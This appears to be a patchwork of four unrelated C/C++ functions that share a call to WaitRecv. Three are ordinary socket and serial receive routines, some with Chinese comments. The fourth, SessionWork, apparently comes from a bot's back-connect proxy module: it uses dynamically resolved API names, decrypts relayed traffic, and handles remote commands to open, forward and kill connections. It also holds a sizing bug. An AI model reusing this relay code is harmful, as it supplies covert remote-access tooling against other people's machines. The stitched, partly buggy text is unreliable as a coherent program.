/** * \brief 接收数据到缓冲区 * 如果是加密包需要解密到解密缓冲区 * \return 实际接收字节数 * 返回-1,表示接收错误 * 返回0,表示接收超时 * 返回整数,不加密包表示实际接收的字节数,加密包返回解密后实际可用的字节数 */ int CSocket::recvToBuf() { //printf("CSocket::recvToBuf\n"); int retcode = 0; if (isset_flag(INCOMPLETE_READ)) { clear_flag(INCOMPLETE_READ); goto do_select; } _rcv_queue.wr_reserve(MAX_DATABUFFERSIZE); if( m_bUseIocp ) { retcode = WaitRecv( true, rd_msec / 1000 ); if( retcode <= 0 ) return retcode; } else { retcode = ::recv(sock,(char*)_rcv_queue.wr_buf(),_rcv_queue.wr_size(),MSG_NOSIGNAL); } if ( retcode == -1 && (errno == EAGAIN || errno == EWOULDBLOCK) && !m_bUseIocp ) { do_select: if( m_bUseIocp ) { retcode = WaitRecv( true, rd_msec / 1000 ); if( retcode <= 0 ) return retcode; } else { retcode = waitForRead(); if (1 == retcode) retcode = ::recv(sock,(char*)_rcv_queue.wr_buf(),_rcv_queue.wr_size(),MSG_NOSIGNAL); else return retcode; } } if (retcode > 0) success_recv(); if (0 == retcode) return -1;//EOF return retcode; }
/** * \brief 检查套接口准备好读取操作 * \return 是否成功 * -1,表示操作失败 * 0,表示操作超时 * 1,表示等待成功,套接口已经有数据准备读取 */ int CSocket::checkIOForRead() { printf("CSocket::checkIOForRead\n"); int retcode = 0; if( m_bUseIocp ) { retcode = WaitRecv( false ); } else { struct mypollfd pfd; pfd.fd = sock; pfd.events = POLLIN | POLLPRI; pfd.revents = 0; retcode = ::poll(&pfd,1,0); if (retcode > 0 && 0 == (pfd.revents & POLLIN)) retcode = -1; } return retcode; }
void SessionWork( SOCKET Socket ) { PCONNECTIONS pConnect = (PCONNECTIONS)MemAlloc( sizeof( PCONNECTIONS ) ); m_memset( pConnect, 0, sizeof( PCONNECTIONS ) ); char *Data = NULL; while ( 1 ) { if ( !WaitRecv( Socket, 60*60 ) ) { break; } TPkt tPacket; if ( !NetRecv( Socket, (char*)&tPacket, sizeof( tPacket ) ) ) { break; } if ( tPacket.QType == 0x63 ) { if ( tPacket.dwLen != 6 ) { break; } if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } ManageNewConnection( Socket, *(ULONG*)Data, (USHORT)tPacket.dwReserved, *(USHORT*)&Data[4] ); } else if ( tPacket.QType == 0x73 ) { if ( Data ) { MemFree( Data ); } Data = (char *)MemAlloc( tPacket.dwLen + 1 ); if ( Data == NULL ) { break; } if ( !NetRecv( Socket, Data, tPacket.dwLen ) ) { break; } BcDecrypt( Data, tPacket.dwLen ); ThreadConnection Conn; pWaitForSingleObject( hThreadMutex, INFINITE ); int k = FindConn( (USHORT)tPacket.dwReserved ); if ( k != -1 ) { Conn = Connections[ k ]; NetSend( Conn.thread_s, Data, tPacket.dwLen ); } pReleaseMutex( hThreadMutex ); } else if ( tPacket.QType == 0x77 ) { DisconnBid( tPacket.dwReserved ); } else if ( tPacket.QType == 0x64 ) { pclosesocket(Socket); KillAllConnections(); pExitThread( 1 ); break; } else if ( tPacket.QType == 0x65 ) { } else { break; } } if ( Data ) { MemFree( Data ); } pConnect->dwStatus = 1; }
/*================================================================= * Function ID : PostRecv * Input : char *pszBuffer, int nBufferSize, long nTimeOut * Output : void * Author : * Date : 2006 2 * Return : TRUE 成功 FALSE 失败 * Description : 从服务端接收数据 * Notice : pszBuffer 保存接收的数据 nBuffersize 缓冲区长度 * : nTimeOut 等待时间 * *=================================================================*/ bool CComSmart::PostRecv(char *pszBuffer, int nBufferSize, long nTimeOut) { m_ReadOver.Offset = 0 ; m_ReadOver.OffsetHigh = 0 ; m_nReadBytes = 0 ; ResetEvent(m_ReadOver.hEvent); if( !WaitRecv(nTimeOut) ) return false; DWORD nResult = ReadFile(m_handle, pszBuffer, (DWORD)nBufferSize, &m_nReadBytes, &m_ReadOver); if( !nResult ) { if( GetLastError() != WSA_IO_PENDING ) { sprintf(m_szErrorText,"接收数据错误[%ld]!", WSAGetLastError()); return false; } else { if( WaitForSingleObject(m_ReadOver.hEvent, nTimeOut) != WAIT_OBJECT_0 ) { sprintf(m_szErrorText,"接收数据错误[%ld]!", WSAGetLastError()); return false; } m_nReadBytes = 0 ; if( !GetOverlappedResult(m_handle, &m_ReadOver, &m_nReadBytes, TRUE) ) { DWORD nLastError = GetLastError() ; if( nLastError != WSA_IO_INCOMPLETE ) { sprintf(m_szErrorText,"等待接收数据错误[%ld]!", nLastError); return false; } } } } //add by dengjun 20060905 int nTry=0,ret=0; unsigned long mnReadBytes=0; //当数据还未收完整时,则继续收 if( m_nReadBytes < (DWORD)(7+(BYTE)pszBuffer[3]) ) { while( true ) { if( nTry>=100 ) { sprintf(m_szErrorText,"接收数据超时[%ld]!", WSAGetLastError()); return false; } Sleep(5); if( ReadFile(m_handle, pszBuffer+m_nReadBytes, (DWORD)nBufferSize, &mnReadBytes, &m_ReadOver) <=0 ) { Sleep(5); nTry++; mnReadBytes=0; continue; } if( mnReadBytes>0) m_nReadBytes+=mnReadBytes; mnReadBytes=0; if( m_nReadBytes >= (DWORD)(7+(BYTE)pszBuffer[3]) ) { m_nReadBytes = (DWORD)(7+(BYTE)pszBuffer[3]); return true; //收到完整的数据包 } nTry++; } } m_nReadBytes = (DWORD)(7+(BYTE)pszBuffer[3]); return true; }